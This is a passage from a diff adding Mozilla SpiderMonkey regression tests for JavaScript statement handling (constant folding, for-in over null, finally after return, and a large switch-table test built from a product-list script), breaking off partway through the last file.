+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "expected syntax error, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/if-constant-folding.js b/js/src/tests/non262/statements/if-constant-folding.js
new file mode 100644
index 0000000000..0486ad56f6
--- /dev/null
+++ b/js/src/tests/non262/statements/if-constant-folding.js
@@ -0,0 +1,35 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var gTestfile = "if-constant-folding.js";
+var BUGNUMBER = 1183400;
+var summary =
+ "Don't crash constant-folding an |if| governed by a truthy constant, whose " +
+ "alternative statement is another |if|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Perform |if| constant folding correctly when the condition is constantly
+// truthy and the alternative statement is another |if|.
+if (true)
+{
+ assertEq(true, true, "sanity");
+}
+else if (42)
+{
+ assertEq(false, true, "not reached");
+ assertEq(true, false, "also not reached");
+}
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/statements/property-reference-self-assignment.js b/js/src/tests/non262/statements/property-reference-self-assignment.js
new file mode 100644
index 0000000000..81c95b9cfb
--- /dev/null
+++ b/js/src/tests/non262/statements/property-reference-self-assignment.js
@@ -0,0 +1,38 @@
+var hits = 0;
+
+var p = { toString() { hits++; return "prop" } };
+var obj = { foo: 1 };
+
+
+var ops = [["obj[p]++", 2],
+ ["++obj[p]", 2],
+ ["--obj[p]", 0],
+ ["obj[p]--", 0],
+ ["obj[p] += 2", 3],
+ ["obj[p] -= 2", -1],
+ ["obj[p] *= 2", 2],
+ ["obj[p] /= 2", 0.5],
+ ["obj[p] %= 2", 1],
+ ["obj[p] >>>= 2", 0],
+ ["obj[p] >>= 2", 0],
+ ["obj[p] <<= 2", 4],
+ ["obj[p] |= 2", 3],
+ ["obj[p] ^= 2", 3],
+ ["obj[p] &= 2", 0]];
+
+var testHits = 0;
+for (let op of ops) {
+ // Seed the value for each test.
+ obj.prop = 1;
+
+ // Do the operation.
+ eval(op[0]);
+ assertEq(obj.prop, op[1]);
+
+ // We should always call toString once, for each operation.
+ testHits++;
+ assertEq(hits, testHits);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/statements/regress-131348.js b/js/src/tests/non262/statements/regress-131348.js
new file mode 100644
index 0000000000..f21b7dc3cf
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-131348.js
@@ -0,0 +1,147 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 10 Apr 2002
+ * Revised: 14 July 2002
+ *
+ * SUMMARY: JS should NOT error on |for(i in undefined)|, |for(i in null)|
+ *
+ * ECMA-262 3rd Edition Final spec says such statements SHOULD error. See:
+ *
+ * Section 12.6.4 The for-in Statement
+ * Section 9.9 ToObject
+ *
+ *
+ * But SpiderMonkey has decided NOT to follow this; it's a bug in the spec.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131348
+ *
+ * Update: Rhino has also decided not to follow the spec on this
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=136893
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 131348;
+var summary = 'JS should not error on |for(i in undefined)|, |for(i in null)|';
+var TEST_PASSED = 'No error';
+var TEST_FAILED = 'An error was generated!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+
+status = inSection(1);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+try
+{
+ for (var i in undefined)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(2);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+try
+{
+ for (var i in null)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(3);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+/*
+ * Variable names that cannot be looked up generate ReferenceErrors; however,
+ * property names like obj.ZZZ that cannot be looked up are set to |undefined|
+ *
+ * Therefore, this should indirectly test | for (var i in undefined) |
+ */
+try
+{
+ for (var i in this.ZZZ)
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+status = inSection(4);
+expect = TEST_PASSED;
+actual = TEST_PASSED;
+/*
+ * The result of an unsuccessful regexp match is the null value
+ * Therefore, this should indirectly test | for (var i in null) |
+ */
+try
+{
+ for (var i in 'bbb'.match(/aaa/))
+ {
+ print(i);
+ }
+}
+catch(e)
+{
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-157509.js b/js/src/tests/non262/statements/regress-157509.js
new file mode 100644
index 0000000000..d80ae7ddcc
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-157509.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 15 July 2002
+ * SUMMARY: Testing for SyntaxError on usage of '\' in identifiers
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=157509
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 157509;
+var summary = "Testing for SyntaxError on usage of '\\' in identifiers";
+var TEST_PASSED = 'SyntaxError';
+var TEST_FAILED = 'Generated an error, but NOT a SyntaxError!';
+var TEST_FAILED_BADLY = 'Did not generate ANY error!!!';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+expect = TEST_PASSED;
+actual = TEST_FAILED_BADLY;
+/*
+ * OK, this should generate a SyntaxError
+ */
+try
+{
+ eval('var a\\1 = 0;');
+}
+catch(e)
+{
+ if (e instanceof SyntaxError)
+ actual = TEST_PASSED;
+ else
+ actual = TEST_FAILED;
+}
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-194364.js b/js/src/tests/non262/statements/regress-194364.js
new file mode 100644
index 0000000000..e907b8985f
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-194364.js
@@ -0,0 +1,115 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 21 February 2003
+ * SUMMARY: Testing eval statements containing conditional function expressions
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=194364
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 194364;
+var summary = 'Testing eval statements with conditional function expressions';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ From ECMA-262 Edition 3, 12.4:
+
+ 12.4 Expression Statement
+
+ Syntax
+ ExpressionStatement : [lookahead not in {{, function}] Expression ;
+
+ Note that an ExpressionStatement cannot start with an opening curly brace
+ because that might make it ambiguous with a Block. Also, an ExpressionStatement
+ cannot start with the function keyword because that might make it ambiguous with
+ a FunctionDeclaration.
+*/
+
+status = inSection(1);
+actual = eval('(function() {}); 1');
+expect = 1;
+addThis();
+
+status = inSection(2);
+actual = eval('(function f() {}); 2');
+expect = 2;
+addThis();
+
+status = inSection(3);
+actual = eval('if (true) (function() {}); 3');
+expect = 3;
+addThis();
+
+status = inSection(4);
+actual = eval('if (true) (function f() {}); 4');
+expect = 4;
+addThis();
+
+status = inSection(5);
+actual = eval('if (false) (function() {}); 5');
+expect = 5;
+addThis();
+
+status = inSection(6);
+actual = eval('if (false) (function f() {}); 6');
+expect = 6;
+addThis();
+
+status = inSection(7);
+actual = eval('switch(true) { case true: (function() {}) }; 7');
+expect = 7;
+addThis();
+
+status = inSection(8);
+actual = eval('switch(true) { case true: (function f() {}) }; 8');
+expect = 8;
+addThis();
+
+status = inSection(9);
+actual = eval('switch(false) { case false: (function() {}) }; 9');
+expect = 9;
+addThis();
+
+status = inSection(10);
+actual = eval('switch(false) { case false: (function f() {}) }; 10');
+expect = 10;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-226517.js b/js/src/tests/non262/statements/regress-226517.js
new file mode 100644
index 0000000000..409e13ae1c
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-226517.js
@@ -0,0 +1,75 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 04 Dec 2003
+ * SUMMARY: |finally| statement should execute even after a |return|
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=226517
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 226517;
+var summary = '|finally| statement should execute even after a |return|';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+/*
+ * We can only use a return statement within a function.
+ * That makes the testcase more complicated to set up -
+ */
+function f()
+{
+ var return_expression_was_calculated = false;
+ try
+ {
+ return (return_expression_was_calculated = true);
+ }
+ finally
+ {
+ actual = return_expression_was_calculated;
+ }
+}
+
+
+status = inSection(1);
+f(); // sets |actual|
+expect = true;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/statements/regress-302439.js b/js/src/tests/non262/statements/regress-302439.js
new file mode 100644
index 0000000000..a94bfa8eec
--- /dev/null
+++ b/js/src/tests/non262/statements/regress-302439.js
@@ -0,0 +1,1335 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 302439;
+var summary = 'spandep fu should skip unused JSOP_TABLESWITCH jump table entries';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function productList(catID,famID) {
+ clearBox(document.Support_Form.Product_ID);
+
+ switch(parseInt(catID)) {
+
+ case 1 : // Sound Blaster
+ switch(parseInt(famID)) {
+
+ case 434 : // Audigy 4
+ break;
+
+ case 204 : // Audigy 2
+ break;
+
+ case 205 : // Audigy
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Platinum eX', '45'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Platinum', '4846'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy LS (SE)', '10365'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy Digital Entertainment', '5085'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Audigy ES', '5086'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 206 : // Live!
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 24-bit External', '10702'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! MP3+ 5.1', '573'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! 5.1', '50'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Digital Entertainment 5.1 (SE)', '4855'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Platinum 5.1', '572'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! 5.1 Digital (Dell)', '1853'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live! Platinum', '3203'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live! Value', '4856'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Live!', '4857'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 207 : // Others
+ try { addBoxItem(document.Support_Form.Product_ID, 'Extigy', '585'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Ensoniq AudioPCI', '420'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PCI4.1 Digital', '681'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vibra128 4D', '9032'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Digital Music', '154'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Vibra 128', '4851'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster 32', '1844'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SB AWE64 Digital', '1821'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'SB PCI 5.1', '1828'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster\u00AE', '1841'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster\u00AE 16', '1842'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster 16 Wave Effects', '1843'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE32', '1848'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE64', '1849'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster AWE64 Gold', '1850'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Microchannels', '1861'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster PCI 128', '1864'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster PCI 64', '1865'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Pro', '1866'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster Audio PCI', '1559'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 16 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Live!Drive II', '9278'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Sound Blaster MIDI Adapter', '251'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Mini to Standard MIDI Adapter', '252'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 210 : // Portable Media Players
+ switch(parseInt(famID)) {
+
+ case 211 : // Zen
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Portable Media Center', '9882'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 212 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Docking Station', '10756'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC Li-ion Polymer Battery', '10679'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen PMC FM Wired Remote', '10663'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+
+ }
+ break;
+
+ case 213 : // MP3 Players
+ switch(parseInt(famID)) {
+
+ case 214 : // Zen
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Touch', '10274'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Micro', '10795'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen', '11519'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Xtra', '9288'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen NX', '4836'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen USB 2.0', '9019'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Zen', '117'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 215 : // MuVo
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Micro N200', '10737'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo\u00B2 X-Trainer', '5080'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Slim', '10052'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Sport C100', '10794'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo V200', '10732'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo TX FM', '9771'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo USB 2.0', '10919'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo', '110'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo NX', '4884'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo\u00B2', '4908'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo TX', '9672'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 216 : // Digital MP3 Player
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Xtra', '9288'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Rhomba NX', '10302'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player FX120', '11010'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'DXT 200', '4996'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen USB 2.0', '9019'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Jukebox 3', '296'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative CD-MP3 Slim 600', '1582'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen NX', '4836'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player', '4983'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player 2', '4984'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MP3 Player MX', '4985'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Zen', '117'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'JukeBox 2', '239'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox', '241'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD JukeBox C', '242'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Jukebox 10GB', '261'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative CD-MP3 M100', '264'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ break;
+
+ case 217 : // Accessories
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Micro Battery', '11215'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Universal Travel Adapter for Zen Micro', '11711'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Stik-On', '12982'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Universal Travel Adapter', '12979'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case', '11511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Zen Neeon Leather Case', '12978'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Home Kit - Jukebox 3', '497'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox 3 Leather Case', '498'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Faceplates - Jukebox 3', '499'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Armband', '511'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'NOMAD II MG Wired Remote', '515'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Accessory Kit', '533'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Charger Kit', '538'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Creative NOMAD Jukebox Battery Pack', '539'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'NOMAD II MG Travel Cable', '560'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Leather Case - Jukebox 2', '562'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Battery - Jukebox 2', '563'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'MuVo Battery Modules', '999'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'PlayDock PD200', '31'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'TravelSound', '80'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
+ try { addBoxItem(document.Support_Form.Product_ID, 'Li-Ion Battery - Jukebox 3', '86'); } catch(e) {addBoxItem(document.Support_Form.Product_ID, '1', '2'); } //
+
